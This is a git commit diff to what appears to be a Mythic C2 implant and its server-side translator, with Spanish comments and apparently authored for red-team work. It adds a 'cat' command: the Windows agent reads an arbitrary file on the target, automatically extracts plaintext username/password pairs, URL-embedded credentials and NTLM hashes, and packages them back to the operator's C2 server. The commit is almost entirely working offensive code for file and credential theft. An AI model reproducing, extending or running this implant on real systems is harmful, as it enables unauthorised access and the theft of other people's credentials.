Credentials created

This commit is contained in:
marcos.luna
2025-10-29 14:56:02 +01:00
parent df8e824f5f
commit 43bac24419
10 changed files with 879 additions and 5 deletions
@@ -7,6 +7,9 @@ BOOL PackageAddFormatPrintf(PPaquete package, BOOL copySize, char* fmt, ...);
#define _CRT_SECURE_NO_WARNINGS
#pragma warning(disable : 4996)
#include <string.h>
#include <ctype.h>
VOID CambiarDirectorio(PAnalizador argumentos) {
SIZE_T tamanoUuid = 36;
PCHAR tareaUuid = getString(argumentos, &tamanoUuid);
@@ -442,4 +445,509 @@ VOID EliminarRuta(PAnalizador argumentos){
end:;
// Cleanup
LocalFree(ruta);
}
// Helper function to detect credentials in file content (internal use only)
// Returns TRUE if credentials were found and added
static BOOL detectarCredencialesEnContenido(PPaquete respuestaTarea, PCHAR contenido, SIZE_T tamanoContenido) {
if (!contenido || tamanoContenido == 0) {
return FALSE;
}
BOOL credencialesEncontradas = FALSE;
char buffer[4096] = {0};
// Convertir contenido a string null-terminated para análisis
PCHAR contenidoStr = (PCHAR)LocalAlloc(LPTR, tamanoContenido + 1);
if (!contenidoStr) {
return FALSE;
}
memcpy(contenidoStr, contenido, tamanoContenido);
contenidoStr[tamanoContenido] = '\0';
// Buscar patrones comunes de credenciales línea por línea
PCHAR lineaActual = contenidoStr;
PCHAR siguienteLinea = NULL;
while (lineaActual < contenidoStr + tamanoContenido) {
// Encontrar fin de línea
siguienteLinea = lineaActual;
while (*siguienteLinea != '\n' && *siguienteLinea != '\r' && *siguienteLinea != '\0') {
siguienteLinea++;
}
SIZE_T lineaLen = siguienteLinea - lineaActual;
if (lineaLen > sizeof(buffer) - 1) {
lineaLen = sizeof(buffer) - 1;
}
memcpy(buffer, lineaActual, lineaLen);
buffer[lineaLen] = '\0';
// Convertir a minúsculas para búsqueda case-insensitive
char lineaLower[4096] = {0};
for (SIZE_T i = 0; i < lineaLen && i < sizeof(lineaLower) - 1; i++) {
lineaLower[i] = tolower(buffer[i]);
}
// Patrón 0: username:password (formato simple y muy común)
// Soporta múltiples formatos:
// - username:password
// - dominio\usuario:password
// - usuario@dominio:password
PCHAR colonPtr = (PCHAR)memchr(buffer, ':', lineaLen);
if (colonPtr && colonPtr > buffer && colonPtr < buffer + lineaLen - 1) {
// Verificar que el formato parece username:password
// No debe haber espacios antes del :
BOOL isValidFormat = TRUE;
PCHAR checkSpace = buffer;
while (checkSpace < colonPtr) {
if (*checkSpace == ' ' || *checkSpace == '\t') {
isValidFormat = FALSE;
break;
}
checkSpace++;
}
// Verificar que después del : hay al menos un carácter no-espacio
PCHAR afterColon = colonPtr + 1;
if (*afterColon == ' ' || *afterColon == '\t' || *afterColon == '\0') {
isValidFormat = FALSE;
}
if (isValidFormat) {
// Extraer password (después del :)
SIZE_T passLen = 0;
PCHAR passStart = afterColon;
while (passStart < buffer + lineaLen &&
*passStart != ' ' && *passStart != '\t' &&
*passStart != '\r' && *passStart != '\n' &&
*passStart != '\0') {
passLen++;
passStart++;
}
// Verificar que no es solo un hash (32 hex chars) - eso lo detectamos más abajo
BOOL isLikelyHash = FALSE;
if (passLen == 32) {
isLikelyHash = TRUE;
for (SIZE_T i = 0; i < 32 && afterColon + i < buffer + lineaLen; i++) {
if (!isxdigit(afterColon[i])) {
isLikelyHash = FALSE;
break;
}
}
}
if (passLen > 0 && passLen < 512 && !isLikelyHash) {
char password[512] = {0};
memcpy(password, afterColon, passLen);
password[passLen] = '\0';
// Extraer username y realm según el formato
SIZE_T userLen = colonPtr - buffer;
if (userLen > 0 && userLen < 256) {
char username[256] = {0};
char realm[256] = {0};
BOOL hasRealm = FALSE;
// Buscar formato dominio\usuario
// Buscar backslash en el buffer original (no en lineaLower)
PCHAR backslashPtr = NULL;
for (SIZE_T i = 0; i < userLen; i++) {
if (buffer[i] == '\\') {
backslashPtr = buffer + i;
break;
}
}
if (backslashPtr && backslashPtr > buffer && backslashPtr < colonPtr) {
// Formato: dominio\usuario
SIZE_T domainLen = backslashPtr - buffer;
SIZE_T actualUserLen = colonPtr - backslashPtr - 1;
if (domainLen > 0 && domainLen < 255 && actualUserLen > 0 && actualUserLen < 255) {
// Copiar dominio al realm
memcpy(realm, buffer, domainLen);
realm[domainLen] = '\0';
// Copiar usuario al username (saltar el backslash)
memcpy(username, backslashPtr + 1, actualUserLen);
username[actualUserLen] = '\0';
hasRealm = TRUE;
_dbg("[cat] Formato dominio\\usuario detectado: domainLen=%zu, actualUserLen=%zu, realm='%s', username='%s'",
domainLen, actualUserLen, realm, username);
} else {
_dbg("[cat] Formato dominio\\usuario inválido: domainLen=%zu, actualUserLen=%zu",
domainLen, actualUserLen);
}
} else {
// Buscar formato usuario@dominio
// Buscar @ en el buffer original
PCHAR atPtr = NULL;
for (SIZE_T i = 0; i < userLen; i++) {
if (buffer[i] == '@') {
atPtr = buffer + i;
break;
}
}
if (atPtr && atPtr > buffer && atPtr < colonPtr) {
// Formato: usuario@dominio
SIZE_T actualUserLen = atPtr - buffer;
SIZE_T domainLen = colonPtr - atPtr - 1;
if (actualUserLen > 0 && actualUserLen < 255 && domainLen > 0 && domainLen < 255) {
// Copiar usuario al username
memcpy(username, buffer, actualUserLen);
username[actualUserLen] = '\0';
// Copiar dominio al realm (saltar el @)
memcpy(realm, atPtr + 1, domainLen);
realm[domainLen] = '\0';
hasRealm = TRUE;
_dbg("[cat] Formato usuario@dominio detectado: actualUserLen=%zu, domainLen=%zu, username='%s', realm='%s'",
actualUserLen, domainLen, username, realm);
} else {
_dbg("[cat] Formato usuario@dominio inválido: actualUserLen=%zu, domainLen=%zu",
actualUserLen, domainLen);
}
} else {
// Formato simple: username:password
memcpy(username, buffer, userLen);
username[userLen] = '\0';
// realm queda vacío
hasRealm = FALSE;
_dbg("[cat] Formato simple detectado: username='%s'", username);
}
}
// Limpiar espacios finales del username y realm
SIZE_T tempLen = strlen(username);
while (tempLen > 0 && (username[tempLen-1] == ' ' || username[tempLen-1] == '\t')) {
username[--tempLen] = '\0';
}
if (hasRealm) {
tempLen = strlen(realm);
while (tempLen > 0 && (realm[tempLen-1] == ' ' || realm[tempLen-1] == '\t')) {
realm[--tempLen] = '\0';
}
}
// Verificar que los valores extraídos son válidos antes de reportar
if (username[0] != '\0' && password[0] != '\0') {
// Verificar que realm tiene contenido válido si hasRealm es TRUE
PCHAR realmToUse = "";
if (hasRealm) {
SIZE_T realmLen = strlen(realm);
if (realmLen > 0) {
realmToUse = realm;
}
}
// Si hasRealm es FALSE o realm está vacío, realmToUse queda como ""
_dbg("[cat] Agregando credential: username='%s', realm='%s' (hasRealm=%d, realmLen=%zu), password='%.20s'",
username, realmToUse[0] != '\0' ? realmToUse : "(empty)",
hasRealm ? 1 : 0, hasRealm ? strlen(realm) : 0, password);
addCredential(respuestaTarea, "plaintext", realmToUse, password, username);
credencialesEncontradas = TRUE;
// Continuar al siguiente patrón - esta línea ya fue procesada
if (*siguienteLinea == '\r') siguienteLinea++;
if (*siguienteLinea == '\n') siguienteLinea++;
lineaActual = siguienteLinea;
if (*siguienteLinea == '\0') break;
continue; // Saltar otros patrones para esta línea ya procesada
}
}
}
}
}
// Patrón 1: password=value o password:value
PCHAR passPtr = strstr(lineaLower, "password");
if (passPtr) {
// Buscar el delimitador (= o :)
PCHAR delimitador = strchr(passPtr, '=');
if (!delimitador) delimitador = strchr(passPtr, ':');
if (delimitador) {
delimitador++; // Saltar el delimitador
// Buscar el valor (saltar espacios)
while (*delimitador == ' ' || *delimitador == '\t') delimitador++;
// Buscar username en la misma línea o anterior
PCHAR userPtr = strstr(lineaLower, "user");
char username[256] = {0};
if (userPtr) {
PCHAR userDelim = strchr(userPtr, '=');
if (!userDelim) userDelim = strchr(userPtr, ':');
if (userDelim) {
userDelim++;
while (*userDelim == ' ' || *userDelim == '\t') userDelim++;
SIZE_T userLen = 0;
while (*userDelim != ' ' && *userDelim != '\t' && *userDelim != '\r' &&
*userDelim != '\n' && *userDelim != '\0' && userLen < sizeof(username) - 1) {
username[userLen++] = buffer[userDelim - lineaLower];
userDelim++;
}
username[userLen] = '\0';
}
}
// Extraer password value
SIZE_T passLen = 0;
char password[512] = {0};
PCHAR passStart = buffer + (delimitador - lineaLower);
while (*passStart != ' ' && *passStart != '\t' && *passStart != '\r' &&
*passStart != '\n' && *passStart != '\0' && passLen < sizeof(password) - 1) {
password[passLen++] = *passStart;
passStart++;
}
password[passLen] = '\0';
if (passLen > 0) {
addCredential(respuestaTarea, "plaintext", "",
password,
username[0] != '\0' ? username : "unknown");
credencialesEncontradas = TRUE;
}
}
}
// Patrón 2: http://user:pass@host
PCHAR httpPtr = strstr(lineaLower, "http://");
if (!httpPtr) httpPtr = strstr(lineaLower, "https://");
if (httpPtr) {
PCHAR atPtr = strchr(httpPtr, '@');
if (atPtr) {
// Buscar : antes del @
PCHAR colonPtr = httpPtr;
while (colonPtr < atPtr && *colonPtr != ':') colonPtr++;
if (colonPtr < atPtr && *colonPtr == ':') {
PCHAR protocolEnd = httpPtr;
while (*protocolEnd != '/' && *protocolEnd != '\0') protocolEnd++;
if (*protocolEnd == '/' && protocolEnd[1] == '/') {
protocolEnd += 2; // Saltar "//"
SIZE_T userLen = colonPtr - protocolEnd;
SIZE_T passLen = atPtr - colonPtr - 1;
if (userLen > 0 && userLen < 256 && passLen > 0 && passLen < 512) {
char username[256] = {0};
char password[512] = {0};
memcpy(username, buffer + (protocolEnd - lineaLower), userLen);
username[userLen] = '\0';
memcpy(password, buffer + (colonPtr - lineaLower + 1), passLen);
password[passLen] = '\0';
addCredential(respuestaTarea, "plaintext", "", password, username);
credencialesEncontradas = TRUE;
}
}
}
}
}
// Patrón 3: Hash NTLM (formato aad3b435b51404ee:hash)
PCHAR hashPtr = strstr(buffer, "aad3b435b51404ee");
if (!hashPtr) {
// Buscar formato :hash (32 bytes hex después de :)
for (PCHAR p = buffer; p < buffer + lineaLen - 32; p++) {
if (*p == ':' && isxdigit(p[1])) {
// Verificar si los siguientes 32 caracteres son hex
BOOL isValidHash = TRUE;
for (int i = 1; i <= 32 && p + i < buffer + lineaLen; i++) {
if (!isxdigit(p[i])) {
isValidHash = FALSE;
break;
}
}
if (isValidHash && p + 33 <= buffer + lineaLen) {
char hash[65] = {0};
memcpy(hash, p + 1, 32);
hash[32] = '\0';
// Buscar username antes del hash
char username[256] = {0};
PCHAR userStart = buffer;
while (userStart < p && (*userStart == ' ' || *userStart == '\t')) userStart++;
SIZE_T userLen = p - userStart;
if (userLen > 0 && userLen < sizeof(username)) {
memcpy(username, userStart, userLen);
username[userLen] = '\0';
// Limpiar espacios finales
while (userLen > 0 && (username[userLen-1] == ' ' || username[userLen-1] == '\t')) {
username[--userLen] = '\0';
}
}
addCredential(respuestaTarea, "hash", "", hash,
username[0] != '\0' ? username : "unknown");
credencialesEncontradas = TRUE;
break;
}
}
}
} else {
// Formato aad3b435b51404ee:hash
PCHAR colonAfterPrefix = hashPtr + 16; // 16 = strlen("aad3b435b51404ee")
if (*colonAfterPrefix == ':' && colonAfterPrefix + 32 < buffer + lineaLen) {
char hash[65] = {0};
memcpy(hash, hashPtr, 16);
hash[16] = ':';
memcpy(hash + 17, colonAfterPrefix + 1, 32);
hash[49] = '\0';
// Buscar username
char username[256] = {0};
PCHAR userStart = buffer;
while (userStart < hashPtr && (*userStart == ' ' || *userStart == '\t')) userStart++;
SIZE_T userLen = hashPtr - userStart;
if (userLen > 0 && userLen < sizeof(username)) {
memcpy(username, userStart, userLen);
username[userLen] = '\0';
while (userLen > 0 && (username[userLen-1] == ' ' || username[userLen-1] == '\t')) {
username[--userLen] = '\0';
}
}
addCredential(respuestaTarea, "hash", "", hash,
username[0] != '\0' ? username : "unknown");
credencialesEncontradas = TRUE;
}
}
// Avanzar al siguiente carácter después del fin de línea
if (*siguienteLinea == '\r') siguienteLinea++;
if (*siguienteLinea == '\n') siguienteLinea++;
lineaActual = siguienteLinea;
if (*siguienteLinea == '\0') break;
}
LocalFree(contenidoStr);
return credencialesEncontradas;
}
VOID LeerFichero(PAnalizador argumentos) {
SIZE_T tamanoUuid = 36;
PCHAR tareaUuid = getString(argumentos, &tamanoUuid);
UINT32 nbArg = getInt32(argumentos);
_dbg("\t tenemos %d argumentos", nbArg);
if (nbArg == 0) {
return;
}
SIZE_T tamano = 0;
PCHAR rutaFichero = getString(argumentos, &tamano);
_dbg("Reading file: \"%s\"", rutaFichero);
// Abrir archivo para lectura
HANDLE hFile = CreateFileA(
rutaFichero,
GENERIC_READ,
FILE_SHARE_READ,
NULL,
OPEN_EXISTING,
FILE_ATTRIBUTE_NORMAL,
NULL
);
if (hFile == INVALID_HANDLE_VALUE) {
DWORD error = GetLastError();
_err("[cat] No se ha podido abrir el archivo. Código: %lu\n", error);
PPaquete respuestaError = nuevoPaquete(POST_RESPONSE, TRUE);
addString(respuestaError, tareaUuid, FALSE);
PPaquete salidaError = nuevoPaquete(0, FALSE);
PackageAddFormatPrintf(salidaError, FALSE, "[cat] Error: No se pudo abrir el archivo. Código: %lu\n", error);
addBytes(respuestaError, (PBYTE)salidaError->buffer, salidaError->length, TRUE);
mandarPaquete(respuestaError);
liberarPaquete(salidaError);
liberarPaquete(respuestaError);
goto end;
}
// Obtener tamaño del archivo
DWORD fileSizeHigh = 0;
DWORD fileSizeLow = GetFileSize(hFile, &fileSizeHigh);
DWORD fileSize = fileSizeLow; // Usar solo low para archivos < 4GB (suficiente para nuestros propósitos)
// Limitar tamaño máximo para evitar problemas de memoria (10MB)
const DWORD MAX_FILE_SIZE = 10 * 1024 * 1024;
if (fileSize > MAX_FILE_SIZE || fileSizeHigh > 0) {
_err("[cat] Archivo demasiado grande: %lu bytes (máximo: %lu bytes)\n", fileSize, MAX_FILE_SIZE);
PPaquete respuestaError = nuevoPaquete(POST_RESPONSE, TRUE);
addString(respuestaError, tareaUuid, FALSE);
PPaquete salidaError = nuevoPaquete(0, FALSE);
PackageAddFormatPrintf(salidaError, FALSE, "[cat] Error: Archivo demasiado grande. Máximo permitido: %lu bytes\n",
MAX_FILE_SIZE);
addBytes(respuestaError, (PBYTE)salidaError->buffer, salidaError->length, TRUE);
mandarPaquete(respuestaError);
liberarPaquete(salidaError);
liberarPaquete(respuestaError);
CloseHandle(hFile);
goto end;
}
// Leer contenido del archivo
PBYTE contenidoArchivo = (PBYTE)LocalAlloc(LPTR, fileSize + 1);
if (!contenidoArchivo) {
_err("[cat] No se pudo asignar memoria para el archivo\n");
CloseHandle(hFile);
goto end;
}
DWORD bytesRead = 0;
if (!ReadFile(hFile, contenidoArchivo, fileSize, &bytesRead, NULL)) {
DWORD error = GetLastError();
_err("[cat] Error leyendo el archivo. Código: %lu\n", error);
PPaquete respuestaError = nuevoPaquete(POST_RESPONSE, TRUE);
addString(respuestaError, tareaUuid, FALSE);
PPaquete salidaError = nuevoPaquete(0, FALSE);
PackageAddFormatPrintf(salidaError, FALSE, "[cat] Error leyendo archivo. Código: %lu\n", error);
addBytes(respuestaError, (PBYTE)salidaError->buffer, salidaError->length, TRUE);
mandarPaquete(respuestaError);
liberarPaquete(salidaError);
liberarPaquete(respuestaError);
LocalFree(contenidoArchivo);
CloseHandle(hFile);
goto end;
}
CloseHandle(hFile);
contenidoArchivo[bytesRead] = '\0'; // Asegurar null termination
PPaquete salida = nuevoPaquete(0, FALSE);
PPaquete respuestaTarea = nuevoPaquete(POST_RESPONSE, TRUE);
// Agregar contenido del archivo a la salida
addBytes(salida, contenidoArchivo, bytesRead, FALSE);
addString(respuestaTarea, tareaUuid, FALSE);
addBytes(respuestaTarea, (PBYTE)salida->buffer, salida->length, TRUE);
// Detectar y agregar credenciales si se encuentran
// NOTA: No agregamos artifacts porque es una operación de solo lectura
BOOL credsFound = detectarCredencialesEnContenido(respuestaTarea, (PCHAR)contenidoArchivo, bytesRead);
if (credsFound) {
_dbg("[cat] Credenciales detectadas y agregadas");
}
mandarPaquete(respuestaTarea);
liberarPaquete(salida);
liberarPaquete(respuestaTarea);
LocalFree(contenidoArchivo);
end:
LocalFree(rutaFichero);
}
@@ -17,4 +17,6 @@ VOID CrearRuta(PAnalizador argumentos);
VOID EliminarRuta(PAnalizador argumentos);
VOID LeerFichero(PAnalizador argumentos);
#endif //FILESYSTEM_H
@@ -60,6 +60,8 @@ BOOL handleGetTasking(PAnalizador obtenerTarea) {
CrearRuta(analizadorTarea);
} else if (tarea == RM_CMD) {
EliminarRuta(analizadorTarea);
} else if (tarea == CAT_CMD) {
LeerFichero(analizadorTarea);
} else if (tarea == START_SOCKS_CMD) {
DBG_PRINTF("Received START_SOCKS_CMD");
startSocksHandler(analizadorTarea);
@@ -28,6 +28,7 @@
#define CP_CMD 0x23
#define MKDIR_CMD 0x24
#define RM_CMD 0x25
#define CAT_CMD 0x26
/* New SOCKS control commands (agent-side) */
#define START_SOCKS_CMD 0x60
@@ -660,4 +660,40 @@ VOID addArtifact(PPaquete paquete, PCHAR artifact_type, PCHAR artifact_value) {
SIZE_T value_len = strlen(artifact_value);
addInt32(paquete, (UINT32)value_len);
addString(paquete, artifact_value, FALSE);
}
// Helper function to add credentials to response packages
// Format: [0xFE marker][credential_type_len:4][credential_type][realm_len:4][realm][credential_len:4][credential][account_len:4][account]
// credential_type must be one of: plaintext, certificate, hash, key, ticket, cookie
VOID addCredential(PPaquete paquete, PCHAR credential_type, PCHAR realm, PCHAR credential, PCHAR account) {
if (!paquete || !credential_type || !credential || !account) {
return;
}
// Credential marker (0xFE, different from artifact marker 0xFF)
addByte(paquete, 0xFE);
// Credential type length and value
SIZE_T type_len = strlen(credential_type);
addInt32(paquete, (UINT32)type_len);
addString(paquete, credential_type, FALSE);
// Realm (can be empty string, but must be included)
// Handle NULL realm parameter by using empty string
PCHAR realmToAdd = (realm && realm[0] != '\0') ? realm : "";
SIZE_T realm_len = strlen(realmToAdd);
addInt32(paquete, (UINT32)realm_len);
if (realm_len > 0) {
addString(paquete, realmToAdd, FALSE);
}
// Credential length and value
SIZE_T cred_len = strlen(credential);
addInt32(paquete, (UINT32)cred_len);
addString(paquete, credential, FALSE);
// Account length and value
SIZE_T account_len = strlen(account);
addInt32(paquete, (UINT32)account_len);
addString(paquete, account, FALSE);
}
@@ -35,4 +35,9 @@ BOOL PackageAddFormatPrintf(PPaquete package, BOOL copySize, char* fmt, ...);
/* Format: [0xFF marker][artifact_type_len:4][artifact_type][artifact_value_len:4][artifact_value] */
VOID addArtifact(PPaquete paquete, PCHAR artifact_type, PCHAR artifact_value);
/* Credential helper: adds credential marker and data to response package */
/* Format: [0xFE marker][credential_type_len:4][credential_type][realm_len:4][realm][credential_len:4][credential][account_len:4][account] */
/* credential_type must be: plaintext, certificate, hash, key, ticket, or cookie */
VOID addCredential(PPaquete paquete, PCHAR credential_type, PCHAR realm, PCHAR credential, PCHAR account);
#endif
@@ -0,0 +1,54 @@
from mythic_container.MythicCommandBase import *
from mythic_container.MythicRPC import *
class CatArguments(TaskArguments):
def __init__(self, command_line, **kwargs):
super().__init__(command_line, **kwargs)
self.args = [
CommandParameter(
name="file",
type=ParameterType.String,
description="Ruta del archivo a leer"
),
]
async def parse_arguments(self):
if len(self.command_line) == 0:
raise ValueError("Se debe indicar un archivo a leer")
self.add_arg("file", self.command_line)
async def parse_dictionary(self, dictionary):
self.load_args_from_dictionary(dictionary)
class CatCommand(CommandBase):
cmd = "cat"
needs_admin = False
help_cmd = "cat C:\\ruta\\al\\archivo.txt"
description = "Lee el contenido de un archivo y detecta credenciales automáticamente"
version = 1
author = "Kaseya OFSTeam"
attackmapping = []
argument_class = CatArguments
attributes = CommandAttributes(
builtin=False,
supported_os=[SupportedOS.Windows],
suggested_command=False
)
async def create_go_tasking(self, taskData: PTTaskMessageAllData) -> PTTaskCreateTaskingMessageResponse:
response = PTTaskCreateTaskingMessageResponse(
TaskID=taskData.Task.ID,
Success=True,
)
return response
async def process_response(self, task: PTTaskMessageAllData, response: any) -> PTTaskProcessResponseMessageResponse:
"""
Process response from agent.
Note: The cat command automatically detects and reports credentials if found in file content.
"""
resp = PTTaskProcessResponseMessageResponse(TaskID=task.Task.ID, Success=True)
return resp
@@ -14,6 +14,7 @@ commands = {
"cp": {"hex_code": 0x23, "input_type": "string"},
"mkdir": {"hex_code": 0x24, "input_type": "string"},
"rm": {"hex_code": 0x25, "input_type": "string"},
"cat": {"hex_code": 0x26, "input_type": "string"},
# Added SOCKS control commands
"start_socks": {"hex_code": 0x60, "input_type": "int"},
"stop_socks": {"hex_code": 0x61, "input_type": None},
@@ -178,8 +178,11 @@ def postResponse(data):
print(f"Tamaño después de extraer UUID: {len(data)} bytes")
# Parse artifacts: format [0xFF][type_len:4][type][value_len:4][value]
# Parse artifacts and credentials:
# Artifacts format: [0xFF][type_len:4][type][value_len:4][value]
# Credentials format: [0xFE][type_len:4][type][realm_len:4][realm][credential_len:4][credential][account_len:4][account]
artifacts_data = []
credentials_data = []
remaining_data = data
while len(remaining_data) >= 5: # At least: marker (1) + type_len (4)
@@ -225,8 +228,84 @@ def postResponse(data):
remaining_data = remaining_data[offset:]
except:
break
elif remaining_data[0] == 0xFE:
# Credential marker found
offset = 1
# Extract credential type
if len(remaining_data) < offset + 4:
break
type_len = int.from_bytes(remaining_data[offset:offset+4], 'big')
offset += 4
if type_len == 0 or len(remaining_data) < offset + type_len:
break
try:
credential_type = remaining_data[offset:offset+type_len].decode('cp850')
offset += type_len
except:
break
# Extract realm
if len(remaining_data) < offset + 4:
break
realm_len = int.from_bytes(remaining_data[offset:offset+4], 'big')
offset += 4
if realm_len > 0:
if len(remaining_data) < offset + realm_len:
break
try:
realm = remaining_data[offset:offset+realm_len].decode('cp850')
offset += realm_len
except:
break
else:
realm = ""
# Extract credential
if len(remaining_data) < offset + 4:
break
credential_len = int.from_bytes(remaining_data[offset:offset+4], 'big')
offset += 4
if credential_len == 0 or len(remaining_data) < offset + credential_len:
break
try:
credential = remaining_data[offset:offset+credential_len].decode('cp850')
offset += credential_len
except:
break
# Extract account
if len(remaining_data) < offset + 4:
break
account_len = int.from_bytes(remaining_data[offset:offset+4], 'big')
offset += 4
if account_len == 0 or len(remaining_data) < offset + account_len:
break
try:
account = remaining_data[offset:offset+account_len].decode('cp850')
offset += account_len
credentials_data.append({
"credential_type": credential_type,
"realm": realm,
"credential": credential,
"account": account
})
print(f"[CREDENTIALS] Detectado credential: {credential_type} para {account}@{realm if realm else '(local)'}")
# Continue parsing for multiple credentials
remaining_data = remaining_data[offset:]
except:
break
else:
# No more artifacts
# No more artifacts or credentials
break
try:
@@ -297,6 +376,23 @@ def postResponse(data):
if len(artifacts) > 0:
jsonTask["artifacts"] = artifacts
print(f"[ARTIFACTS] Total de artifacts agregados: {len(artifacts)}")
# Support for credentials: create credentials from parsed data
credentials = []
# Process all detected credentials
for cred_info in credentials_data:
credentials.append({
"credential_type": cred_info["credential_type"],
"realm": cred_info["realm"],
"credential": cred_info["credential"],
"account": cred_info["account"]
})
# Add credentials array if we have any
if len(credentials) > 0:
jsonTask["credentials"] = credentials
print(f"[CREDENTIALS] Total de credentials agregados: {len(credentials)}")
resTaks.append(jsonTask)